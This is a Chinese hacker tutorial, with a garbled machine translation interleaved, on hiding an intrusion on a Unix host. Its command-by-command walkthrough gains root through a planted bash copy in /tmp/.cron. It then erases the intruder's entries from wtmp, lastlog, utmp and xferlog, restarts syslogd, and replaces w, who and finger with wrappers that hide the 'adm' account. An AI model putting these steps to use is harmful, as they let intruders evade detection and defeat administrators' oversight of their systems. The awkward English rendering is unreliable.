前言： Introduction:
通常很容易找到许多关于如何入侵一个系统的文章，可是往往人们很少提到打扫和安放后门的问题，许多newbie都不知道如何能够再一次方便的进入获得权限的机器，也不知道如何能去掉自己留下的痕迹。 Usually easy to find on how to invade a system of many articles, but often people rarely mention the cleaning and placed back door, many newbie do not know how we can once again easily obtained permission to enter the machine, do not know how to out of their traces. 系统入侵、buffer溢出...之类的文章太多了。 System intrusion, buffer overflow ... like the article too much. 于是想起就随便写了几篇关于打扫和后门的文章，供大家参考。 So think of it just wrote a few articles on cleaning and back door, for your reference.
在安盟里有许多孜孜不倦的为组织默默贡献的高手lovehacker,jack,shellbash,jonak ... ...，在这我谨以此篇文章献给他们，我敬爱的战友。 There are many UNITA tireless contribution to the organization quietly master lovehacker, jack, shellbash, jonak ... ..., in this article I would like to dedicate their Cipian, my beloved comrades.
1、unix的日志系统有一些常识的人都知道，不同的unix系统版本都把日志记录到不同的目录下，而且有许多辅助的工具包（snort等)来帮助系统管理员来记录连接。 1, unix logging system has some common sense to know that different versions of unix system, log records to a different directory, and there are many auxiliary kit (snort, etc.) to help system administrators to log connections. 有些系统管理员还修改syslog.conf来改变log的输出地址，保证不被入侵者来修改。 Some system administrators to modify syslog.conf to log the output to change the address to ensure that no intruders to modify. 但这些都不是我们今天讨论的东西。 But these are not things we are discussing today. 我们来看看通常unix的日志系统是由哪几个日志文件组成的。 We usually look at the log unix system which is composed of several log files.
utmp - [记录当前login的用户] utmp - [record the current login user]
wtmp - [记录每次用户login和logout] wtmp - [record each time a user login and logout]
utmpx - [utmp的扩展] utmpx - [utmp extensions]
wtmpx - [wtmp的扩展] wtmpx - [wtmp extensions]
sulog - [每次su命令的使用] sulog - [su command to use for each]
xferlog - [FTP login记录] xferlog - [FTP login records]
lastlog - [记录最近用户成功login信息] lastlog - [Record last successful login user information]
loginlog - [错误login记录] loginlog - [error login records]
messages - [后台程序消息记录] messages - [daemon log messages]
下面我们用一次实战来继续讲解吧！ Here we use the time to continue to explain it real! (下面的地址和用户名都是修改过的） (The following address and user name are modified)
bigshrimp@fuckXXX.com:~ > telnet 169.666.xxx.xxx bigshrimp@fuckXXX.com: ~> telnet 169.666.xxx.xxx
Trying 169.666.xxx.xxx... Trying 169.666.xxx.xxx ...
Connected to 169.666.xxx.xxx. Connected to 169.666.xxx.xxx.
Escape character is '^]'. Escape character is'^]'.
Red Hat Linux release 6.2 (Zoot) Red Hat Linux release 6.2 (Zoot)
Kernel 2.2.14-5.0 on an i686 Kernel 2.2.14-5.0 on an i686
login: adm login: adm
Password: Password:
bash$ bash $
==================================================================== ================================================== ==================
注意：adm在这并不是root用户 Note: adm is not the root user in this
==================================================================== ================================================== ==================
bash$ w bash $ w
11:15am up 21 days, 5:02, 1 user, load average: 1.00, 1.00, 1.00 11:15 am up 21 days, 5:02, 1 user, load average: 1.00, 1.00, 1.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT USER TTY FROM LOGIN @ IDLE JCPU PCPU WHAT
adm pts/1 ppp-666-714-198- 11:11am 0.00s 0.10s ? - adm pts / 1 ppp-666-714-198-11:11 am 0.00s 0.10s? -
=========================================================================== ================================================== =========================
好的，看来root并不在上面，我们可以继续了。 Well, it seems root is not in the above, we can continue.
=========================================================================== ================================================== =========================
bash$ cd /tmp/.cron bash $ cd / tmp / .cron
bash$ ./bash bash $. / bash
bash# cd /var/log bash # cd / var / log
=========================================================================== ================================================== =========================
事先copy好的一份bash使我成了root.注意我的提示符由$变成了#. Advance copy of a bash so I became a good root. Note my prompt from $ to become a #.
通常Linux,Solaris,BSD下的wtmp lastlog message都在/var/log下面。 Typically Linux, Solaris, BSD under the wtmp lastlog message in / var / log below.
我们先要对付的是wtmp,它记录着用户的每一次login和logout. We need to deal with the wtmp, it records every user login and logout.
然后是lastlog, 然后是message,最后是utmp。 Then lastlog, then the message, and finally the utmp. 请记住顺序。 Remember the order.
=========================================================================== ================================================== =========================
bash# last bash # last
adm pts/1 ppp-666-714-198- Tue Oct 1 11:11 still logged in adm pts / 1 ppp-666-714-198-Tue Oct 1 11:11 still logged in
adm pts/1 ppp-666-714-198- Tue Oct 1 11:11 - 11:11 (00:00) adm pts / 1 ppp-666-714-198-Tue Oct 1 11:11 - 11:11 (00:00)
wtmp begins Tue Oct 1 07:06:46 2000 wtmp begins Tue Oct 1 07:06:46 2000
=========================================================================== ================================================== =========================
看见了，该改改了。 See, the make a change.
=========================================================================== ================================================== =========================
bash# cat wtmp | grep -v "adm" >> temp bash # cat wtmp | grep-v "adm">> temp
bash# mv temp wtmp bash # mv temp wtmp
bash# last bash # last
wtmp begins Tue Oct 1 11:39:38 2000 wtmp begins Tue Oct 1 11:39:38 2000
========================================================================== ================================================== ========================
看见了，我把wtmp中关于adm的login条目都剥去存在temp文件里，再copy覆盖wtmp.这样不见的只有adm的记录。 See, I put the login adm wtmp entries on the strip there are temp file, then copy cover wtmp. Adm only seen such a record. 千万不要rm整个wtmp，那样和通知管理员有人入侵没什么区别。 Do not rm the wtmp, and notify the administrator as the invasion was no different.
========================================================================== ================================================== ========================
bash# cat lastlog | grep -v 666-714-198 >> temp bash # cat lastlog | grep-v 666-714-198>> temp
bash# mv temp lastlog bash # mv temp lastlog
bash# cat lastlog bash # cat lastlog
Binary file (standard input) matches Binary file (standard input) matches
========================================================================== ================================================== ========================
看见了吗？ Saw it? 在这我只是把我的机器地址部分做为特征串来剥离。 In this machine I just put my address as a characteristic part of the string to strip. 只是因为也许有人从其他地址用 Just because someone may use from other addresses
adm login,我们的目的只是去掉我们的痕迹，保留其他人留下的。 adm login, our purpose is to remove our signs, leave the other person left. 当然也可以用ip地址来干。 Of course, you can use the ip address to dry.
========================================================================== ================================================== ========================
bash# cd /var/run bash # cd / var / run
bash# who utmp bash # who utmp
adm pts/1 Aug 1 11:11 adm pts / 1 Aug 1 11:11
bash# cat utmp | grep -v "adm" >> temp bash # cat utmp | grep-v "adm">> temp
bash# mv temp utmp bash # mv temp utmp
bash# who utmp bash # who utmp
bash# bash #
========================================================================== ================================================== ========================
好了，到/var/run/下去改utmp吧！ Well, to / var / run / utmp go change it! 和wtmp同样的方法。 And wtmp in the same way.
记住，如果你使用了ftp 请用清除lastlog的方法把xferlog也清了。 Remember, if you use ftp, please use the method to clear lastlog also clear the xferlog.
=========================================================================== ================================================== =========================
bash# /usr/bin/killall -HUP syslogd bash # / usr / bin / killall-HUP syslogd
=========================================================================== ================================================== =========================
把syslogd重启一下 About the syslogd restart
=========================================================================== ================================================== =========================
断线离开。 Break away.
结束 End
其他方法：修改bin程序我们把那些容易用来发现我们的bin程序都给他改了看看。 Other ways: we modify the bin program that is easy to find the bin we changed the program gave him a look. 当然不是真的改程序了，只是一个小技巧， Of course, the program has not really changed, just a little skill,
bash# cd /usr/bin/ bash # cd / usr / bin /
bash# mv w .w bash # mv w. w
bash# mv who .who bash # mv who. who
bash# mv finger .finger bash # mv finger. finger
=========================================================================== ================================================== =========================
把这些程序都变成隐藏的，当然隐藏的方法有许多种可以自由发挥。 These procedures have become hidden, of course, there are many ways to hide the free play.
=========================================================================== ================================================== =========================
bash# echo "/usr/bin/.w | grep -v adm" >> w bash # echo "/ usr / bin / .w | grep-v adm">> w
bash# echo "/usr/bin/.who | grep -v adm" >> who bash # echo "/ usr / bin / .who | grep-v adm">> who
bash# echo "/usr/bin/.finger | grep -v adm" >> finger bash # echo "/ usr / bin / .finger | grep-v adm">> finger
bash# chmod +xw bash # chmod + xw
bash# chmod +x who bash # chmod + x who
bash# chmod +x finger bash # chmod + x finger
============================================================================ ================================================== ==========================
好了这么一来，adm这个用户就隐形了。 Well, that way, adm the user invisible.
============================================================================ ================================================== ==========================
当然用一些现成的程序去大扫除也可以的，那样要更方便和安全一些。 Of course, with some ready-made program to clean-up is also possible, as to be more convenient and safer.
有关程序可以去 The procedure can go
http://www.antionline.com/cgi-bin/anticode/anticode.pl http://www.antionline.com/cgi-bin/anticode/anticode.pl
来自安盟（完） From UNITA (End)
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